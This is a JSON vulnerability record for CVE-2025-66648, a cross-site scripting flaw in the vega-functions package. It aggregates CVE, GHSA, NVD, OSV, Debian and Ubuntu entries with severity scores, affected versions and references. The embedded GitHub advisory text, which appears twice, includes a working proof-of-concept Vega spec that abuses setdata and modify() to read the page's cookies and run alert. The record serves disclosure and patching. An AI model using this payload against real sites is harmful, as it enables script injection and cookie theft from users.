{"id":"CVE-2025-66648","aliases":["DEBIAN-CVE-2025-66648","EUVD-2025-206236","GHSA-m9rg-mr6g-75gm","UBUNTU-CVE-2025-66648"],"status":"published","title":"`vega-functions` vulnerable to Cross-site Scripting via `setdata` function","description":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","severity":{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00226,"percentile":0.13359,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-01-05T21:33:14Z","modified":"2026-10-28T02:30:30Z","fixes":[{"ecosystem":"npm","package":"vega-functions","fixed_in":["6.1.1"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"vega.js","fixed_in":["5.33.1+ds+~cs5.3.0-2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vega-functions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.1.0"},{"fixed":"6.1.1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.22.1+ds+~3.1.0-4","5.25.0+ds+~cs5.3.0-1","5.25.0+ds+~cs5.3.0-2","5.25.0+ds+~cs5.3.0-3","5.25.0+ds+~cs5.3.0-4","5.25.0+ds+~cs5.3.0-5","5.28.0+ds+~cs5.3.0-1","5.28.0+ds+~cs5.3.0-2","5.28.0+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-1","5.33.1+ds+~cs5.3.0-2","5.33.1+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-4"]},{"source":"osv","ecosystem":"Debian:13","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.28.0+ds+~cs5.3.0-1","5.28.0+ds+~cs5.3.0-2","5.28.0+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-1","5.33.1+ds+~cs5.3.0-2","5.33.1+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-4"]},{"source":"osv","ecosystem":"Debian:14","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.33.1+ds+~cs5.3.0-2"}]}],"versions":["5.28.0+ds+~cs5.3.0-1","5.28.0+ds+~cs5.3.0-2","5.28.0+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-1"]},{"source":"osv","ecosystem":"npm","package":"vega-functions","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.1.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.25.0+ds+~cs5.3.0-2","5.25.0+ds+~cs5.3.0-5"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.28.0+ds+~cs5.3.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.28.0+ds+~cs5.3.0-2","5.33.1+ds+~cs5.3.0-4"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.28.0+ds+~cs5.3.0-1","5.28.0+ds+~cs5.3.0-2"]}],"products":[{"vendor":"vega","product":"vega"},{"vendor":"vega-functions_project","product":"vega-functions"}],"references":[{"url":"https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66648","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m9rg-mr6g-75gm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/66xxx/CVE-2025-66648.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-66648","tags":["advisory"]},{"url":"https://github.com/vega/vega","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-66648","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-66648","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-66648","title":"`vega-functions` vulnerable to Cross-site Scripting via `setdata` function","description":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","status":"published","published":"2026-01-05T21:33:14.011Z","modified":"2026-01-06T15:40:18.443Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:53.157279Z"}],"euvd":[{"id":"EUVD-2025-206236","description":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","status":"published","published":"2026-01-05T21:33:14Z","modified":"2026-01-06T15:40:18Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:48:55.49901Z"}],"ghsa":[{"id":"GHSA-m9rg-mr6g-75gm","title":"`vega-functions` vulnerable to Cross-site Scripting via `setdata` function","description":"### Impact\n\nFor sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS).\n\n### Patches\n\nFixed in vega-functions `6.1.1`\n\n### Workarounds\n\nThere is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue.  \n\n\n### Exploit Proof of Concept\n\nVega's expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:\n\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v6.json\",\n  \"data\": [\n    {\n      \"name\": \"table\",\n      \"values\": [\n        {\"category\": \"A\", \"amount\": 28}\n      ]\n    }\n  ],\n  \"signals\": [\n    {\n      \"name\": \"tooltip\",\n      \"value\": {},\n      \"on\": [\n        {\"events\": {\"type\":\"timer\",\"throttle\":2000}, \"update\": \"setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )\"},\n        {\"events\": \"rect:pointerout\",  \"update\": \"{}\"}\n      ]\n    }\n  ]\n}\n```","status":"published","published":"2026-01-05T22:58:07Z","modified":"2026-01-06T15:51:54Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:15.106458Z"}],"nvd":[{"id":"CVE-2025-66648","description":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","status":"published","published":"2026-01-05T22:15:51.4Z","modified":"2026-10-14T19:10:00.297Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:55.613137Z"}],"osv":[{"id":"CVE-2025-66648","title":"`vega-functions` vulnerable to Cross-site Scripting via `setdata` function","description":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","status":"published","published":"2026-01-05T21:33:14.011Z","modified":"2026-10-28T02:30:30.820701643Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:52.202386Z"},{"id":"DEBIAN-CVE-2025-66648","description":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","status":"published","published":"2026-01-05T22:15:51.4Z","modified":"2026-10-15T09:47:28.971008803Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:47.697959Z"},{"id":"GHSA-m9rg-mr6g-75gm","title":"`vega-functions` vulnerable to Cross-site Scripting via `setdata` function","description":"### Impact\n\nFor sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS).\n\n### Patches\n\nFixed in vega-functions `6.1.1`\n\n### Workarounds\n\nThere is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue.  \n\n\n### Exploit Proof of Concept\n\nVega's expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:\n\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v6.json\",\n  \"data\": [\n    {\n      \"name\": \"table\",\n      \"values\": [\n        {\"category\": \"A\", \"amount\": 28}\n      ]\n    }\n  ],\n  \"signals\": [\n    {\n      \"name\": \"tooltip\",\n      \"value\": {},\n      \"on\": [\n        {\"events\": {\"type\":\"timer\",\"throttle\":2000}, \"update\": \"setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )\"},\n        {\"events\": \"rect:pointerout\",  \"update\": \"{}\"}\n      ]\n    }\n  ]\n}\n```","status":"published","published":"2026-01-05T22:58:07Z","modified":"2026-09-10T03:50:33.310775301Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:51.811331Z"},{"id":"UBUNTU-CVE-2025-66648","description":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","status":"published","published":"2026-01-05T22:15:00Z","modified":"2026-10-17T12:57:37.412856711Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:55:52.345622Z"}]}}